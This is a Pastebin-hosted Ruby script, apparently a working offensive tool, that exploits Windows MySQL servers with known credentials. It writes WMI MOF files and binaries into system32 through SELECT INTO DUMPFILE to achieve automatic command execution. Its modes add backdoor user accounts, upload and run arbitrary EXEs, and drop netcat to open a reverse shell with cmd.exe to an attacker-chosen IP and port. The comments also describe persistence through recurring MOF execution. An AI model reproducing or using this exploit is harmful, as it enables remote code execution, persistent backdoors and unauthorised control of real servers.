Advertisement
Guest User

MySQL MOF Exploiter

a guest
Oct 19th, 2013
703
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Ruby 14.95 KB | None | 0 0
  1. #!/usr/bin/env ruby
  2. #
  3. # Windows MySQL MOF Exploit
  4. # by: Hood3dRob1n
  5. #
  6.  
  7. require 'optparse'
  8. require 'colorize'
  9. require 'mysql'
  10.  
  11. # 31337 Banner
  12. def banner
  13.   puts
  14.   puts "Windows MySQL MOF Exploit".light_green
  15.   puts "By".light_green + ": Hood3dRob1n".white
  16. end
  17.  
  18. # Clear Terminal
  19. def cls
  20.   system('clear')
  21. end
  22.  
  23. # Generate a random aplha string length of value of num
  24. def randz(num)
  25.   (0...num).map{ ('a'..'z').to_a[rand(26)] }.join
  26. end
  27.  
  28. # Execute commands in separate process
  29. def fireNforget(command)
  30.   pid = Process.fork
  31.   if pid.nil?
  32.     sleep(1)
  33.     exec "#{command}" # This can now run in its own process thread and we dont have to wait for it
  34.   else
  35.     # In parent, detach the child process
  36.     Process.detach(pid)
  37.   end
  38. end
  39.  
  40. # Check if Credentials work
  41. # Return db object if success, nil otherwise
  42. def can_we_connect?(host, user, pass, db=nil, port=3306)
  43.   begin
  44.     dbc = Mysql.connect(host, user, pass, db, port)
  45.     return dbc
  46.   rescue Mysql::Error => e
  47.     puts "Connection Problem!"
  48.     puts "\t=> #{e}"
  49.     return nil
  50.   end
  51. end
  52.  
  53. # Pass DB Object
  54. # Confirm Windows OS
  55. # Return true or false
  56. def is_windows?(dbc)
  57.   q = dbc.query('SELECT @@version_compile_os;')
  58.   q.each { |x| @os = x[0] }
  59.   if @os =~ /Win|\.NET/
  60.     return true
  61.   else
  62.     return false
  63.   end
  64. end
  65.  
  66. # Find Drive & Path in Use
  67. def get_drive(dbc)
  68.   q = dbc.query('SELECT @@tmpdir;')
  69.   q.each { |x| @tmp=x[0]; }
  70.   return @tmp[0]
  71. end
  72.  
  73. # Simple .MOF Template to run our CMD after autocompiled
  74. # Modded JSCRIPT MOF based on PHP Exploit I found on a server (unknown author)
  75. def generate_cmd_mof(cmd)
  76.   mof = "#pragma namespace(\"\\\\\\\\.\\\\root\\\\subscription\")
  77. instance of __EventFilter as $EventFilter
  78. {
  79. EventNamespace = \"Root\\\\Cimv2\";
  80. Name  = \"filtP2\";
  81. Query = \"Select * From __InstanceModificationEvent \"
  82.   \"Where TargetInstance Isa \\\"Win32_LocalTime\\\" \"
  83.   \"And TargetInstance.Second = 5\";
  84. QueryLanguage = \"WQL\";
  85. };
  86. instance of ActiveScriptEventConsumer as $Consumer
  87. {
  88. Name = \"consPCSV2\";
  89. ScriptingEngine = \"JScript\";
  90. ScriptText =
  91. \"var WSH = new ActiveXObject(\\\"WScript.Shell\\\")\\nWSH.run(\\\"#{cmd}\\\")\";
  92. };
  93. instance of __FilterToConsumerBinding
  94. {
  95. Consumer = $Consumer;
  96. Filter = $EventFilter;
  97. };";
  98.   return mof
  99. end
  100.  
  101. # Borrowed from MSF
  102. # Simple .MOF Template
  103. # Will run our EXE Payload when autocompiled
  104. def generate_exe_mof(mofname, exe)
  105.   mof = <<-EOT
  106. #pragma namespace("\\\\\\\\.\\\\root\\\\cimv2")
  107. class MyClass@CLASS@
  108. {
  109.     [key] string Name;
  110. };
  111. class ActiveScriptEventConsumer : __EventConsumer
  112. {
  113.     [key] string Name;
  114.     [not_null] string ScriptingEngine;
  115.     string ScriptFileName;
  116.     [template] string ScriptText;
  117.   uint32 KillTimeout;
  118. };
  119. instance of __Win32Provider as $P
  120. {
  121.     Name  = "ActiveScriptEventConsumer";
  122.     CLSID = "{266c72e7-62e8-11d1-ad89-00c04fd8fdff}";
  123.     PerUserInitialization = TRUE;
  124. };
  125. instance of __EventConsumerProviderRegistration
  126. {
  127.   Provider = $P;
  128.   ConsumerClassNames = {"ActiveScriptEventConsumer"};
  129. };
  130. Instance of ActiveScriptEventConsumer as $cons
  131. {
  132.   Name = "ASEC";
  133.   ScriptingEngine = "JScript";
  134.   ScriptText = "\\ntry {var s = new ActiveXObject(\\"Wscript.Shell\\");\\ns.Run(\\"@EXE@\\");} catch (err) {};\\nsv = GetObject(\\"winmgmts:root\\\\\\\\cimv2\\");try {sv.Delete(\\"MyClass@CLASS@\\");} catch (err) {};try {sv.Delete(\\"__EventFilter.Name='instfilt'\\");} catch (err) {};try {sv.Delete(\\"ActiveScriptEventConsumer.Name='ASEC'\\");} catch(err) {};";
  135.  
  136. };
  137. Instance of ActiveScriptEventConsumer as $cons2
  138. {
  139.   Name = "qndASEC";
  140.   ScriptingEngine = "JScript";
  141.   ScriptText = "\\nvar objfs = new ActiveXObject(\\"Scripting.FileSystemObject\\");\\ntry {var f1 = objfs.GetFile(\\"wbem\\\\\\\\mof\\\\\\\\good\\\\\\\\#{mofname}\\");\\nf1.Delete(true);} catch(err) {};\\ntry {\\nvar f2 = objfs.GetFile(\\"@EXE@\\");\\nf2.Delete(true);\\nvar s = GetObject(\\"winmgmts:root\\\\\\\\cimv2\\");s.Delete(\\"__EventFilter.Name='qndfilt'\\");s.Delete(\\"ActiveScriptEventConsumer.Name='qndASEC'\\");\\n} catch(err) {};";
  142. };
  143. instance of __EventFilter as $Filt
  144. {
  145.   Name = "instfilt";
  146.   Query = "SELECT * FROM __InstanceCreationEvent WHERE TargetInstance.__class = \\"MyClass@CLASS@\\"";
  147.   QueryLanguage = "WQL";
  148. };
  149. instance of __EventFilter as $Filt2
  150. {
  151.   Name = "qndfilt";
  152.   Query = "SELECT * FROM __InstanceDeletionEvent WITHIN 1 WHERE TargetInstance ISA \\"Win32_Process\\" AND TargetInstance.Name = \\"@EXE@\\"";
  153.   QueryLanguage = "WQL";
  154.  
  155. };
  156. instance of __FilterToConsumerBinding as $bind
  157. {
  158.   Consumer = $cons;
  159.   Filter = $Filt;
  160. };
  161. instance of __FilterToConsumerBinding as $bind2
  162. {
  163.   Consumer = $cons2;
  164.   Filter = $Filt2;
  165. };
  166. instance of MyClass@CLASS@ as $MyClass
  167. {
  168.   Name = "ClassConsumer";
  169. };
  170. EOT
  171.   classname = rand(0xffff).to_s
  172.   mof.gsub!(/@CLASS@/, classname)
  173.   mof.gsub!(/@EXE@/, exe)
  174.   return mof
  175. end
  176.  
  177. # Write MOF to File via INTO DUMPFILE
  178. def write_mof_file(dbc, bin, dest)
  179.   payload = bin.unpack("H*")[0]
  180.   begin
  181.     dbc.query("SELECT 0x#{payload} INTO DUMPFILE '#{dest}'")
  182.     puts "Appears things were a success".light_green + "!".white
  183.     return true
  184.   rescue Mysql::Error => e
  185.     puts "Problem writing payload to file".light_red + "!".white
  186.     puts "\t=> ".white + "#{e}".light_red
  187.     return false
  188.   end
  189. end
  190.  
  191. # Write Local Binary to File via INTO DUMPFILE
  192. def write_bin_file(dbc, file, exe_dest)
  193.   data = "0x" + File.open(file, 'rb').read.unpack('H*').first
  194.   begin
  195.     dbc.query("SELECT #{data} INTO DUMPFILE '#{exe_dest}'")
  196.     puts "Appears things were a success".light_green + "!".white
  197.     return true
  198.   rescue Mysql::Error => e
  199.     puts "Problem writing payload to file".light_red + "!".white
  200.     puts "\t=> ".white + "#{e}".light_red
  201.     if e =~ /MySQL server has gone away/
  202.       puts "This is likely due to payload which is too large in size".light_red + ".....".white
  203.       puts "Try compressing with UPX to shrink size down".light_red + ": upx 9 -qq #{file}".white
  204.       puts "\t=> ".white + "Then try again".light_red + ".....".white
  205.     end
  206.     return false
  207.   end
  208. end
  209.  
  210. ### MAIN ###
  211. options = {}
  212. optparse = OptionParser.new do |opts|
  213.   opts.banner = "Usage:".light_green + "#{$0} ".white + "[".light_green + "OPTIONS".white + "]".light_green
  214.   opts.separator ""
  215.   opts.separator "EX:".light_green + " #{$0} -t 192.168..69.69 -u root -p root -C \"net user hr p@ssw0rd1 /add\"".white
  216.   opts.separator "EX:".light_green + " #{$0} -t 192.168..69.69 -u root -p root -E /root/fun/payloads/fun.exe".white
  217.   opts.separator "EX:".light_green + " #{$0} -t 192.168..69.69 -u root -p root -R -i 192.168.69.21 -P 4444".white
  218.   opts.separator "EX:".light_green + " #{$0} -t 192.168..69.69 -u root -p root -U /usr/share/windows-binaries/nc.exe -d C:\\\\Temp\\\\".white
  219.   opts.separator ""
  220.   opts.separator "Options: ".light_green
  221.   opts.on('-t', '--target IP', "\n\tTarget IP or IP Range".white) do |target|
  222.     options[:target] = target.chomp
  223.   end
  224.   opts.on('-u', '--user USER', "\n\tMySQL User to Authenticate".white) do |user|
  225.     options[:user] = user.chomp
  226.   end
  227.   opts.on('-p', '--pass PASS', "\n\tMySQL User Password".white) do |pass|
  228.     options[:pass] = pass.chomp
  229.   end
  230.   opts.on('-U', '--upload EXE', "\n\tOnly Upload Binary".white) do |evilbin|
  231.     if File.exists?(evilbin.chomp) and not File.directory?(evilbin.chomp)
  232.       options[:method] = 0
  233.       options[:payload] = evilbin.chomp
  234.     else
  235.       cls
  236.       banner
  237.       puts
  238.       puts "Unable to load EXE payload".light_red + "!".white
  239.       puts "Check path or permissions and try again".light_red + "....".white
  240.       puts
  241.       puts opts
  242.       puts
  243.       exit 69;
  244.     end
  245.   end
  246.   opts.on('-d', '--dest PATH', "\n\tDestination Path for Upload option (i.e. \"C:\\\\TEMP\\\\\")".white) do |dest|
  247.       options[:dest] = dest.chomp
  248.   end
  249.   opts.on('-C', '--cmd CMD', "\n\tRun Blind System Command as Payload \n\t  i.e.NET USER NOOB P@ssw0rd1 /ADD".white) do |cmd|
  250.       options[:method] = 1
  251.       options[:payload] = cmd.chomp
  252.   end
  253.   opts.on('-E', '--exe EXE', "\n\tUpload & Execute EXE".white) do |evilbin|
  254.     if File.exists?(evilbin.chomp) and not File.directory?(evilbin.chomp)
  255.       options[:method] = 2
  256.       options[:payload] = evilbin.chomp
  257.     else
  258.       cls
  259.       banner
  260.       puts
  261.       puts "Unable to load EXE payload".light_red + "!".white
  262.       puts "Check path or permissions and try again".light_red + "....".white
  263.       puts
  264.       puts opts
  265.       puts
  266.       exit 69;
  267.     end
  268.   end
  269.   opts.on('-R', '--reverse', "\n\tNetCat Reverse Command Shell".white) do |blah|
  270.     evilbin = './payloads/nc.exe'
  271.     if File.exists?(evilbin) and not File.directory?(evilbin)
  272.       options[:method] = 3
  273.       options[:payload] = evilbin
  274.     else
  275.       cls
  276.       banner
  277.       puts
  278.       puts "Unable to find NetCat (nc.exe) payload".light_red + "!".white
  279.       puts "It should have come with the script, so check path or permissions and try again".light_red + "....".white
  280.       puts
  281.       puts opts
  282.       puts
  283.       exit 69;
  284.     end
  285.   end
  286.   opts.on('-i', '--ip IP', "\n\tIP for Reverse Shell Option".white) do |ip|
  287.       options[:ip] = ip.chomp
  288.   end
  289.   opts.on('-P', '--port PORT', "\n\tPort for Reverse Shell Option".white) do |port|
  290.       options[:port] = port.chomp.to_i
  291.   end
  292.   opts.on('-h', '--help', "\n\tHelp Menu".white) do
  293.     cls
  294.     banner
  295.     puts
  296.     puts opts
  297.     puts
  298.     exit 69;
  299.   end
  300. end
  301. begin
  302.   foo = ARGV[0] || ARGV[0] = "-h"
  303.   optparse.parse!
  304.   if options[:method].to_i == 0
  305.     mandatory = [:target, :user, :pass, :payload, :dest]
  306.   elsif options[:method].to_i == 3
  307.     mandatory = [:target, :user, :pass, :payload, :ip, :port]
  308.   else
  309.     mandatory = [:target, :user, :pass, :payload]
  310.   end
  311.   missing = mandatory.select{ |param| options[param].nil? }
  312.   if not missing.empty?
  313.     cls
  314.     banner
  315.     puts
  316.     puts "Missing options".light_red + ": #{missing.join(', ')}".white
  317.     puts optparse
  318.     exit 666;
  319.   end
  320. rescue OptionParser::InvalidOption, OptionParser::MissingArgument
  321.   cls
  322.   banner
  323.   puts
  324.   puts $!.to_s
  325.   puts
  326.   puts optparse
  327.   puts
  328.   exit 666;  
  329. end
  330.  
  331. ### Main --
  332. dbc = can_we_connect?(options[:target], options[:user], options[:pass], nil, 3306)
  333. if not dbc.nil?
  334.   # This only works on windows....
  335.   if is_windows?(dbc)
  336.     drive = get_drive(dbc) # Would it ever not be C?
  337.     # Straight RCE vs UP & Exec
  338.     case options[:method].to_i
  339.     when 0
  340.       # Upload User File
  341.       exe_dest = "#{options[:dest]}"
  342.       # Simply upload (binary) file, no more no less....
  343.       puts "Uploading payload file '".light_blue + "#{options[:payload]}".white + "' to '".light_blue + "#{exe_dest}".white + "'".light_blue
  344.       write_bin_file(dbc, options[:payload], exe_dest)
  345.     when 1
  346.       # Assign random name
  347.       mof_name = randz(5) + ".mof"
  348.       # We write to the System32\wbem\mof dir
  349.       # Any .mof written here gets auto-compiled by mofcomp.exe
  350.       # Use .MOF Template with JSCRIPT to run cmd via WScript.shell on compile
  351.       # Apparenlty it doesnt auto-compile on newer windows (Vista+) which is why this is limited to XP & 2k3 Server
  352.       # Remains unclear what happens if you pre-compile and place evil.mof there on newer versions.....idk?
  353.       # As long as the MOF file remains in the /wbem/mof/good/ directory after auto-compile it will keep running it over & over
  354.       # very fun if your CTF red teaming and adding user accounts or other persistent commands for fun, i.e. re-appearing user accounts :p
  355.       mof_dest = "#{drive}:\\\\\\windows\\\\\\system32\\\\wbem\\\\mof\\\\#{mof_name}"
  356.       puts "Attempting to Execute Blind System Command via MOF Payload".light_blue + ".....".white
  357.       puts "MOF".light_green + ": #{mof_dest}".white
  358.       puts "CMD".light_green + ": #{options[:payload]}".white
  359.       # Generate our .MOF file with embedded command
  360.       mof = generate_cmd_mof(options[:payload])
  361.       # Now write to file and make the magic happen :)
  362.       write_mof_file(dbc, mof, mof_dest)
  363.     when 2
  364.       exe_name = randz(15) + ".exe"
  365.       mof_name = randz(5) + ".mof"
  366.       exe_dest = "#{drive}:\\\\windows\\\\system32\\\\#{exe_name}"
  367.       mof_dest = "#{drive}:\\\\\\windows\\\\\\system32\\\\wbem\\\\mof\\\\#{mof_name}"
  368.  
  369.       # Now we read our local binary payload into a var so we can re-write to remote server
  370.       data = "0x" + File.open(options[:payload], 'rb').read.unpack('H*').first
  371.  
  372.       puts "Uploading payload file '".light_blue + "#{options[:payload]}".white + "' to '".light_blue + "#{exe_dest}".white + "'".light_blue
  373.       puts "If you're expecting a shell".light_yellow + ",".white + " make sure your listener is ready".light_yellow + "......".white
  374.       sleep(3)
  375.       begin
  376.         dbc.query("SELECT #{data} INTO DUMPFILE '#{exe_dest}'")
  377.         puts "Appears things were a success".light_green + "!".white
  378.       rescue Mysql::Error => e
  379.         puts "Problem writing payload to file".light_red + "!".white
  380.         puts "\t=> ".white + "#{e}".light_red
  381.         if e =~ /MySQL server has gone away/
  382.           puts "This is likely due to payload which is too large in size".light_red + ".....".white
  383.           puts "Try compressing with UPX to shrink size down".light_red + ": upx 9 -qq #{options[:payload]}".white
  384.           puts "\t=> ".white + "Then try again".light_red + ".....".white
  385.         end
  386.       end
  387.  
  388.       # Upload our MOF file which will run our payload we just dropped
  389.       puts "Uploading MOF which will wait for our payload".light_blue + "....".white
  390.       mof = generate_exe_mof(mof_name, exe_name)
  391.       write_mof_file(dbc, mof, mof_dest)
  392.     when 3
  393.       # Upload nc.exe then use to get reverse shell
  394.       mof_name = randz(5) + ".mof"
  395.       exe_name = randz(15) + ".exe"
  396.       exe_dest = "#{drive}:\\\\\\windows\\\\\\system32\\\\#{exe_name}"
  397.       mof_dest = "#{drive}:\\\\\\windows\\\\\\system32\\\\wbem\\\\mof\\\\#{mof_name}"
  398.       revshell = "#{exe_name} #{options[:ip]} #{options[:port]} -e cmd.exe"
  399.       listener = "xterm -title 'NetCat Listener' -font -*-fixed-medium-r-*-*-18-*-*-*-*-*-iso8859-* -e \"bash -c 'nc -lvp #{options[:port]}'\""
  400.  
  401.       puts "Uploading NetCat (nc.exe) file '".light_blue + "#{options[:payload]}".white + "' to '".light_blue + "#{exe_dest}".white + "'".light_blue
  402.       # If we can upload nc.exe continue...
  403.       if write_bin_file(dbc, options[:payload], exe_dest)
  404.         # Spawn listener in new window...
  405.         puts "Launching listener in new window".light_blue + ".....".white
  406.         fireNforget(listener)
  407.         sleep(1)
  408.  
  409.         puts "Triggering Reverse Shell to '".light_blue + "#{options[:ip]}".white + "' on port '".light_blue + "#{options[:port]}".white + "'".light_blue + ".....".white
  410.         mof = generate_cmd_mof(revshell)
  411.         write_mof_file(dbc, mof, mof_dest)
  412.         puts "WARNING".light_red + ": ".white + "#{exe_dest} (NetCat) remains on system & suggested to remove".light_yellow + "....".white
  413.       end
  414.     else
  415.       puts "This only works against Windows targets".light_red + "!".white
  416.       puts "Find another target or find another way in".light_red + ".....".white
  417.     end
  418.   end
  419. end
  420. puts
  421. puts
  422. #EOF
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement